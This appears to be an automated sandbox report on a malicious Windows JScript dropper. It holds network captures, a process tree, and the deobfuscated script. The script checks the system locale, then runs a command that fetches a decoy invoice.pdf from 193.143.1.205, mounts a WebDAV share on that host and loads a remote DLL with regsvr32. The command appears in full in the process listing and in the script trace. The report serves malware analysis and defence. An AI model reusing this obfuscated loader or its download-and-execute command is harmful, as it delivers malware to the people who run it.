Jan 10, 2025 18:22:48.154180050 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 18:22:48.154191017 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 18:22:48.154202938 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 18:22:48.154213905 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 18:22:48.154227972 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 10, 2025 18:22:48.154242992 CET	1236	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 10, 2025 18:22:48.158996105 CET	772	IN	Data Raw: 6e ca 1f 18 fa 31 3c 30 f4 ee b1 8d a1 83 03 43 9b 18 7a 72 6b 62 e8 e1 7e d0 3a 0f c6 1e ee 57 ce 63 e8 d1 e1 ed f1 51 77 6c 68 1b 43 87 c7 86 de 76 c7 86 9a 18 ca b1 a1 5b 31 f5 cd 09 00 00 60 1a 7c b1 04 00 1b e5 ef a8 e5 1d b9 7a d8 ad b0 84 Data Ascii: n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR=4pa/RrKuk{jv%Z\|GVu;=*VzfN5gM6:?SisUJ[ey\59-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	8068	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:22:50.714190006 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:22:51.505271912 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:22:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:22:43
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js"
Imagebase:	0x7ff69d420000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:22:44
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll
Imagebase:	0x7ff7a1290000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:22:44
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:22:44
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:22:49
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:22:49
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a1290000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:22:49
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ed840000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:22:51
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:22:51
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:22:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1536,i,10289283819608342665,2050877796663969327,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function yufrfyqr() {	yufrfyqr() ➔ undefined
1	hfwviuhw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tkcizizj = this[zcoth + lrlckt + gxixkmav + czyxemxsy + bfhqnr + uvtpaadp + gtjmtog + vsepsfrlu] ( this[ilysokmc + lesavlamr + qcjyapfve + gxixkmav + qdoevd + zcoth + vsepsfrlu][tlomduqki + gxixkmav + bfhqnr + lrlckt + vsepsfrlu + bfhqnr + nhygjezyt + gfpmn + pokpyqo + bfhqnr + qcjyapfve + vsepsfrlu] ( ilysokmc + lesavlamr + qcjyapfve + gxixkmav + qdoevd + zcoth + vsepsfrlu + sgzip + lesavlamr + ihnyh + bfhqnr + aqfhx + aqfhx ) [vkbpobjb + bfhqnr + wxtgxf + vkbpobjb + bfhqnr + lrlckt + axyhh] ( nbrwlphlj + hptganrv + fbklfv + nrazaw + kflsflkmk + tlomduqki + qdqrqzj + vkbpobjb + vkbpobjb + fbklfv + uygennkb + azhwj + kflsflkmk + qdqrqzj + lesavlamr + fbklfv + vkbpobjb + vxafktr + tlomduqki + ovirw + gtjmtog + vsepsfrlu + gxixkmav + ovirw + aqfhx + qpqkdzrbr + krjomu + lrlckt + gtjmtog + bfhqnr + aqfhx + vxafktr + uvtpaadp + gtjmtog + vsepsfrlu + bfhqnr + gxixkmav + gtjmtog + lrlckt + vsepsfrlu + qdoevd + ovirw + gtjmtog + lrlckt + aqfhx + vxafktr + raftfx + ovirw + qcjyapfve + lrlckt + aqfhx + bfhqnr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nfaxomzti = 0 ; nfaxomzti < hfwviuhw[aqfhx + bfhqnr + gtjmtog + wxtgxf + vsepsfrlu + ihnyh] ; ++ nfaxomzti )
4	{
5	if ( tkcizizj == hfwviuhw[nfaxomzti] )
6	{
7	tkcizizj = true;
8	break ;
9	}
10	}
11	if ( tkcizizj !== true )
12	this[ilysokmc + lesavlamr + qcjyapfve + gxixkmav + qdoevd + zcoth + vsepsfrlu][mxpcxytb + mknux + qdoevd + vsepsfrlu] ( );
13	this[ilysokmc + lesavlamr + qcjyapfve + gxixkmav + qdoevd + zcoth + vsepsfrlu][tlomduqki + gxixkmav + bfhqnr + lrlckt + vsepsfrlu + bfhqnr + nhygjezyt + gfpmn + pokpyqo + bfhqnr + qcjyapfve + vsepsfrlu] ( ilysokmc + lesavlamr + qcjyapfve + gxixkmav + qdoevd + zcoth + vsepsfrlu + sgzip + lesavlamr + ihnyh + bfhqnr + aqfhx + aqfhx ) [gxixkmav + mknux + gtjmtog] ( qcjyapfve + hwhuaqjwo + axyhh + qpqkdzrbr + konvznfg + qcjyapfve + qpqkdzrbr + zcoth + ovirw + nnwqsqv + bfhqnr + gxixkmav + czyxemxsy + ihnyh + bfhqnr + aqfhx + aqfhx + sgzip + bfhqnr + ebynluzqk + bfhqnr + qpqkdzrbr + xehdq + tlomduqki + ovirw + hwhuaqjwo + hwhuaqjwo + lrlckt + gtjmtog + axyhh + qpqkdzrbr + eahnkxb + uvtpaadp + gtjmtog + htsiedi + ovirw + dpojyma + bfhqnr + xehdq + ilysokmc + bfhqnr + gfpmn + vkbpobjb + bfhqnr + rqbwddxjm + mknux + bfhqnr + czyxemxsy + vsepsfrlu + qpqkdzrbr + xehdq + nhygjezyt + mknux + vsepsfrlu + rbizi + qdoevd + aqfhx + bfhqnr + qpqkdzrbr + wgwkokm + vsepsfrlu + bfhqnr + hwhuaqjwo + zcoth + wgwkokm + vxafktr + qdoevd + gtjmtog + htsiedi + ovirw + qdoevd + qcjyapfve + bfhqnr + sgzip + zcoth + axyhh + bnqfdz + qpqkdzrbr + ihnyh + vsepsfrlu + vsepsfrlu + zcoth + qmkttgold + konvznfg + konvznfg + wpwoff + cbprf + czckp + sgzip + wpwoff + ckizunnam + czckp + sgzip + wpwoff + sgzip + bffblx + ogirykpf + xynzbxni + konvznfg + qdoevd + gtjmtog + htsiedi + ovirw + qdoevd + qcjyapfve + bfhqnr + sgzip + zcoth + ihnyh + zcoth + eahnkxb + mibwmelfa + mibwmelfa + czyxemxsy + vsepsfrlu + lrlckt + gxixkmav + vsepsfrlu + qpqkdzrbr + wgwkokm + vsepsfrlu + bfhqnr + hwhuaqjwo + zcoth + wgwkokm + vxafktr + qdoevd + gtjmtog + htsiedi + ovirw + qdoevd + qcjyapfve + bfhqnr + sgzip + zcoth + axyhh + bnqfdz + mibwmelfa + mibwmelfa + qcjyapfve + hwhuaqjwo + axyhh + qpqkdzrbr + konvznfg + qcjyapfve + qpqkdzrbr + gtjmtog + bfhqnr + vsepsfrlu + qpqkdzrbr + mknux + czyxemxsy + bfhqnr + qpqkdzrbr + vxafktr + vxafktr + wpwoff + cbprf + czckp + sgzip + wpwoff + ckizunnam + czckp + sgzip + wpwoff + sgzip + bffblx + ogirykpf + xynzbxni + xixkfnmx + wtoynolj + wtoynolj + wtoynolj + wtoynolj + vxafktr + axyhh + lrlckt + htsiedi + nnwqsqv + nnwqsqv + nnwqsqv + gxixkmav + ovirw + ovirw + vsepsfrlu + vxafktr + mibwmelfa + mibwmelfa + qcjyapfve + hwhuaqjwo + axyhh + qpqkdzrbr + konvznfg + qcjyapfve + qpqkdzrbr + gxixkmav + bfhqnr + wxtgxf + czyxemxsy + htsiedi + gxixkmav + czckp + bffblx + qpqkdzrbr + konvznfg + czyxemxsy + qpqkdzrbr + vxafktr + vxafktr + wpwoff + cbprf + czckp + sgzip + wpwoff + ckizunnam + czckp + sgzip + wpwoff + sgzip + bffblx + ogirykpf + xynzbxni + xixkfnmx + wtoynolj + wtoynolj + wtoynolj + wtoynolj + vxafktr + axyhh + lrlckt + htsiedi + nnwqsqv + nnwqsqv + nnwqsqv + gxixkmav + ovirw + ovirw + vsepsfrlu + vxafktr + wpwoff + dlmvqoq + wpwoff + ogirykpf + dlmvqoq + wpwoff + wtoynolj + wpwoff + cbprf + dlmvqoq + bffblx + xynzbxni + dlmvqoq + wpwoff + juvjsjuzx + sgzip + axyhh + aqfhx + aqfhx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll",0,false) ➔ 0
14	}
15	wgwkokm = "u";
16	wgwkokm = "B";
17	wgwkokm = "H";
18	wgwkokm = "i";
19	wgwkokm = "e";
20	wgwkokm = "l";
21	wgwkokm = "K";
22	wgwkokm = "t";
23	wgwkokm = "k";
24	wgwkokm = "E";
25	wgwkokm = "o";
26	wgwkokm = "h";
27	wgwkokm = "C";
28	wgwkokm = "G";
29	wgwkokm = "y";
30	wgwkokm = "x";
31	wgwkokm = "A";
32	wgwkokm = "v";
33	wgwkokm = "u";
34	wgwkokm = "Q";
35	wgwkokm = "e";
36	wgwkokm = "Y";
37	wgwkokm = "V";
38	wgwkokm = "O";
39	wgwkokm = "O";
40	wgwkokm = "j";
41	wgwkokm = "c";
42	wgwkokm = "r";
43	wgwkokm = "e";
44	wgwkokm = "s";
45	wgwkokm = "K";
46	wgwkokm = "w";
47	wgwkokm = "g";
48	wgwkokm = "P";
49	wgwkokm = "E";
50	wgwkokm = "R";
51	wgwkokm = "U";
52	wgwkokm = "r";
53	wgwkokm = "g";
54	wgwkokm = "N";
55	wgwkokm = "c";
56	wgwkokm = "%";
57	vxafktr = "T";
58	vxafktr = "t";
59	vxafktr = "g";
60	vxafktr = "Q";
61	vxafktr = "E";
62	vxafktr = "W";
63	vxafktr = "p";
64	vxafktr = "z";
65	vxafktr = "u";
66	vxafktr = "p";
67	vxafktr = "d";
68	vxafktr = "x";
69	vxafktr = "l";
70	vxafktr = "m";
71	vxafktr = "p";
72	vxafktr = "\\";
73	rqbwddxjm = "J";
74	rqbwddxjm = "N";
75	rqbwddxjm = "M";
76	rqbwddxjm = "O";
77	rqbwddxjm = "u";
78	rqbwddxjm = "W";
79	rqbwddxjm = "l";
80	rqbwddxjm = "z";
81	rqbwddxjm = "X";
82	rqbwddxjm = "a";
83	rqbwddxjm = "Q";
84	rqbwddxjm = "M";
85	rqbwddxjm = "Y";
86	rqbwddxjm = "N";
87	rqbwddxjm = "u";
88	rqbwddxjm = "K";
89	rqbwddxjm = "h";
90	rqbwddxjm = "O";
91	rqbwddxjm = "R";
92	rqbwddxjm = "T";
93	rqbwddxjm = "o";
94	rqbwddxjm = "C";
95	rqbwddxjm = "G";
96	rqbwddxjm = "M";
97	rqbwddxjm = "g";
98	rqbwddxjm = "U";
99	rqbwddxjm = "a";
100	rqbwddxjm = "m";
101	rqbwddxjm = "V";
102	rqbwddxjm = "m";
103	rqbwddxjm = "n";
104	rqbwddxjm = "t";
105	rqbwddxjm = "q";
106	lrlckt = "d";
107	lrlckt = "w";
108	lrlckt = "N";
109	lrlckt = "Q";
110	lrlckt = "i";
111	lrlckt = "x";
112	lrlckt = "y";
113	lrlckt = "c";
114	lrlckt = "q";
115	lrlckt = "x";
116	lrlckt = "a";
117	aqfhx = "l";
118	nhygjezyt = "C";
119	nhygjezyt = "D";
120	nhygjezyt = "n";
121	nhygjezyt = "S";
122	nhygjezyt = "C";
123	nhygjezyt = "g";
124	nhygjezyt = "L";
125	nhygjezyt = "z";
126	nhygjezyt = "P";
127	nhygjezyt = "k";
128	nhygjezyt = "Z";
129	nhygjezyt = "y";
130	nhygjezyt = "Y";
131	nhygjezyt = "a";
132	nhygjezyt = "O";
133	htsiedi = "Y";
134	htsiedi = "k";
135	htsiedi = "P";
136	htsiedi = "G";
137	htsiedi = "P";
138	htsiedi = "r";
139	htsiedi = "U";
140	htsiedi = "h";
141	htsiedi = "z";
142	htsiedi = "n";
143	htsiedi = "O";
144	htsiedi = "N";
145	htsiedi = "v";
146	htsiedi = "j";
147	htsiedi = "j";
148	htsiedi = "s";
149	htsiedi = "Q";
150	htsiedi = "Y";
151	htsiedi = "h";
152	htsiedi = "Q";
153	htsiedi = "q";
154	htsiedi = "x";
155	htsiedi = "R";
156	htsiedi = "R";
157	htsiedi = "l";
158	htsiedi = "T";
159	htsiedi = "E";
160	htsiedi = "v";
161	htsiedi = "s";
162	htsiedi = "x";
163	htsiedi = "e";
164	htsiedi = "Q";
165	htsiedi = "s";
166	htsiedi = "v";
167	konvznfg = "J";
168	konvznfg = "A";
169	konvznfg = "T";
170	konvznfg = "r";
171	konvznfg = "q";
172	konvznfg = "u";
173	konvznfg = "F";
174	konvznfg = "V";
175	konvznfg = "q";
176	konvznfg = "G";
177	konvznfg = "t";
178	konvznfg = "b";
179	konvznfg = "s";
180	konvznfg = "y";
181	konvznfg = "S";
182	konvznfg = "i";
183	konvznfg = "F";
184	konvznfg = "A";
185	konvznfg = "W";
186	konvznfg = "I";
187	konvznfg = "U";
188	konvznfg = "L";
189	konvznfg = "S";
190	konvznfg = "/";
191	dlmvqoq = "K";
192	dlmvqoq = "I";
193	dlmvqoq = "S";
194	dlmvqoq = "M";
195	dlmvqoq = "z";
196	dlmvqoq = "6";
197	ilysokmc = "S";
198	ilysokmc = "F";
199	ilysokmc = "S";
200	ilysokmc = "C";
201	ilysokmc = "I";
202	ilysokmc = "Q";
203	ilysokmc = "f";
204	ilysokmc = "X";
205	ilysokmc = "q";
206	ilysokmc = "Y";
207	ilysokmc = "H";
208	ilysokmc = "n";
209	ilysokmc = "W";
210	wxtgxf = "q";
211	wxtgxf = "q";
212	wxtgxf = "U";
213	wxtgxf = "e";
214	wxtgxf = "A";
215	wxtgxf = "A";
216	wxtgxf = "L";
217	wxtgxf = "g";
218	ebynluzqk = "d";
219	ebynluzqk = "q";
220	ebynluzqk = "g";
221	ebynluzqk = "H";
222	ebynluzqk = "s";
223	ebynluzqk = "x";
224	bnqfdz = "i";
225	bnqfdz = "D";
226	bnqfdz = "j";
227	bnqfdz = "e";
228	bnqfdz = "k";
229	bnqfdz = "C";
230	bnqfdz = "V";
231	bnqfdz = "S";
232	bnqfdz = "s";
233	bnqfdz = "j";
234	bnqfdz = "S";
235	bnqfdz = "E";
236	bnqfdz = "c";
237	bnqfdz = "H";
238	bnqfdz = "n";
239	bnqfdz = "P";
240	bnqfdz = "I";
241	bnqfdz = "t";
242	bnqfdz = "n";
243	bnqfdz = "Q";
244	bnqfdz = "R";
245	bnqfdz = "V";
246	bnqfdz = "m";
247	bnqfdz = "y";
248	bnqfdz = "T";
249	bnqfdz = "z";
250	bnqfdz = "Y";
251	bnqfdz = "N";
252	bnqfdz = "D";
253	bnqfdz = "s";
254	bnqfdz = "p";
255	bnqfdz = "V";
256	bnqfdz = "p";
257	bnqfdz = "R";
258	bnqfdz = "u";
259	bnqfdz = "f";
260	eahnkxb = "r";
261	eahnkxb = "D";
262	eahnkxb = "D";
263	eahnkxb = "T";
264	eahnkxb = "k";
265	eahnkxb = "g";
266	eahnkxb = "B";
267	eahnkxb = "H";
268	eahnkxb = "u";
269	eahnkxb = "A";
270	eahnkxb = "c";
271	eahnkxb = "X";
272	eahnkxb = "f";
273	eahnkxb = "H";
274	eahnkxb = "\"";
275	qcjyapfve = "i";
276	qcjyapfve = "W";
277	qcjyapfve = "j";
278	qcjyapfve = "b";
279	qcjyapfve = "t";
280	qcjyapfve = "u";
281	qcjyapfve = "P";
282	qcjyapfve = "S";
283	qcjyapfve = "F";
284	qcjyapfve = "v";
285	qcjyapfve = "y";
286	qcjyapfve = "h";
287	qcjyapfve = "G";
288	qcjyapfve = "B";
289	qcjyapfve = "v";
290	qcjyapfve = "i";
291	qcjyapfve = "Z";
292	qcjyapfve = "v";
293	qcjyapfve = "Q";
294	qcjyapfve = "t";
295	qcjyapfve = "J";
296	qcjyapfve = "o";
297	qcjyapfve = "x";
298	qcjyapfve = "J";
299	qcjyapfve = "d";
300	qcjyapfve = "m";
301	qcjyapfve = "K";
302	qcjyapfve = "H";
303	qcjyapfve = "U";
304	qcjyapfve = "n";
305	qcjyapfve = "q";
306	qcjyapfve = "t";
307	qcjyapfve = "x";
308	qcjyapfve = "k";
309	qcjyapfve = "c";
310	nbrwlphlj = "W";
311	nbrwlphlj = "l";
312	nbrwlphlj = "p";
313	nbrwlphlj = "d";
314	nbrwlphlj = "L";
315	nbrwlphlj = "J";
316	nbrwlphlj = "F";
317	nbrwlphlj = "K";
318	nbrwlphlj = "m";
319	nbrwlphlj = "F";
320	nbrwlphlj = "p";
321	nbrwlphlj = "L";
322	nbrwlphlj = "N";
323	nbrwlphlj = "e";
324	nbrwlphlj = "f";
325	nbrwlphlj = "B";
326	nbrwlphlj = "c";
327	nbrwlphlj = "N";
328	nbrwlphlj = "J";
329	nbrwlphlj = "t";
330	nbrwlphlj = "X";
331	nbrwlphlj = "Q";
332	nbrwlphlj = "R";
333	nbrwlphlj = "D";
334	nbrwlphlj = "d";
335	nbrwlphlj = "x";
336	nbrwlphlj = "n";
337	nbrwlphlj = "T";
338	nbrwlphlj = "o";
339	nbrwlphlj = "L";
340	nbrwlphlj = "l";
341	nbrwlphlj = "c";
342	nbrwlphlj = "T";
343	nbrwlphlj = "E";
344	nbrwlphlj = "H";
345	pokpyqo = "T";
346	pokpyqo = "D";
347	pokpyqo = "X";
348	pokpyqo = "J";
349	pokpyqo = "S";
350	pokpyqo = "r";
351	pokpyqo = "f";
352	pokpyqo = "T";
353	pokpyqo = "Z";
354	pokpyqo = "n";
355	pokpyqo = "A";
356	pokpyqo = "A";
357	pokpyqo = "g";
358	pokpyqo = "b";
359	pokpyqo = "w";
360	pokpyqo = "h";
361	pokpyqo = "B";
362	pokpyqo = "g";
363	pokpyqo = "H";
364	pokpyqo = "M";
365	pokpyqo = "d";
366	pokpyqo = "G";
367	pokpyqo = "Q";
368	pokpyqo = "u";
369	pokpyqo = "H";
370	pokpyqo = "J";
371	pokpyqo = "j";
372	pokpyqo = "X";
373	pokpyqo = "I";
374	pokpyqo = "n";
375	pokpyqo = "q";
376	pokpyqo = "A";
377	pokpyqo = "y";
378	pokpyqo = "e";
379	pokpyqo = "j";
380	tlomduqki = "v";
381	tlomduqki = "I";
382	tlomduqki = "n";
383	tlomduqki = "O";
384	tlomduqki = "F";
385	tlomduqki = "e";
386	tlomduqki = "Y";
387	tlomduqki = "T";
388	tlomduqki = "P";
389	tlomduqki = "C";
390	tlomduqki = "t";
391	tlomduqki = "z";
392	tlomduqki = "N";
393	tlomduqki = "M";
394	tlomduqki = "m";
395	tlomduqki = "c";
396	tlomduqki = "t";
397	tlomduqki = "p";
398	tlomduqki = "S";
399	tlomduqki = "i";
400	tlomduqki = "s";
401	tlomduqki = "a";
402	tlomduqki = "N";
403	tlomduqki = "G";
404	tlomduqki = "o";
405	tlomduqki = "O";
406	tlomduqki = "I";
407	tlomduqki = "U";
408	tlomduqki = "Q";
409	tlomduqki = "f";
410	tlomduqki = "a";
411	tlomduqki = "f";
412	tlomduqki = "y";
413	tlomduqki = "N";
414	tlomduqki = "X";
415	tlomduqki = "C";
416	wpwoff = "M";
417	wpwoff = "S";
418	wpwoff = "U";
419	wpwoff = "a";
420	wpwoff = "O";
421	wpwoff = "N";
422	wpwoff = "j";
423	wpwoff = "d";
424	wpwoff = "X";
425	wpwoff = "B";
426	wpwoff = "p";
427	wpwoff = "S";
428	wpwoff = "J";
429	wpwoff = "k";
430	wpwoff = "D";
431	wpwoff = "w";
432	wpwoff = "V";
433	wpwoff = "Y";
434	wpwoff = "G";
435	wpwoff = "W";
436	wpwoff = "Q";
437	wpwoff = "b";
438	wpwoff = "i";
439	wpwoff = "c";
440	wpwoff = "A";
441	wpwoff = "l";
442	wpwoff = "J";
443	wpwoff = "X";
444	wpwoff = "t";
445	wpwoff = "s";
446	wpwoff = "1";
447	dpojyma = "N";
448	dpojyma = "g";
449	dpojyma = "Q";
450	dpojyma = "h";
451	dpojyma = "K";
452	dpojyma = "h";
453	dpojyma = "b";
454	dpojyma = "u";
455	dpojyma = "G";
456	dpojyma = "G";
457	dpojyma = "d";
458	dpojyma = "g";
459	dpojyma = "B";
460	dpojyma = "r";
461	dpojyma = "j";
462	dpojyma = "h";
463	dpojyma = "e";
464	dpojyma = "V";
465	dpojyma = "z";
466	dpojyma = "t";
467	dpojyma = "N";
468	dpojyma = "Y";
469	dpojyma = "U";
470	dpojyma = "n";
471	dpojyma = "f";
472	dpojyma = "l";
473	dpojyma = "C";
474	dpojyma = "y";
